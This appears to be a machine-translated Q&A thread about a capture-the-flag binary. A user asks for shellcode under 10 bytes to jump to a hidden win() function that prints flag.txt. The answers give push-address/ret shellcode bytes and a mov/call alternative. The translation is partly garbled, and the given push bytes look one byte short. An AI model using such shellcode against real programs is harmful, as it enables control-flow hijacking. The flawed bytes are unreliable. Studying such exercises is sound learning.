我从gdb
获取了以下转储 00000000004006f6 <win>:
4006f6: 55 push rbp
4006f7: 48 89 e5 mov rbp,rsp
4006fa: bf 98 08 40 00 mov edi,0x400898
4006ff: e8 8c fe ff ff call 400590 <system@plt>
400704: 5d pop rbp
400705: c3 ret
通常这个C函数从不被调用但是我需要编写一些少于10个字节的shellcode来运行它或者显示值。这是函数的来源;
void win(){
system("/bin/cat ./flag.txt");
}
我仍然是装配和C的新手,所以任何帮助都会受到赞赏。
答案 0 :(得分:0)
为了运行函数win()
,您必须在shellcode中编写push <function-win-address> ret
。
在您的情况下将是:
\x68\xf6\x06\x40\xc3
\x68
是push
\xf6\x06\x40
是函数地址
\xc3
是ret
答案 1 :(得分:-1)
mov eax,(win addr)
致电eax
之后的objdump操作码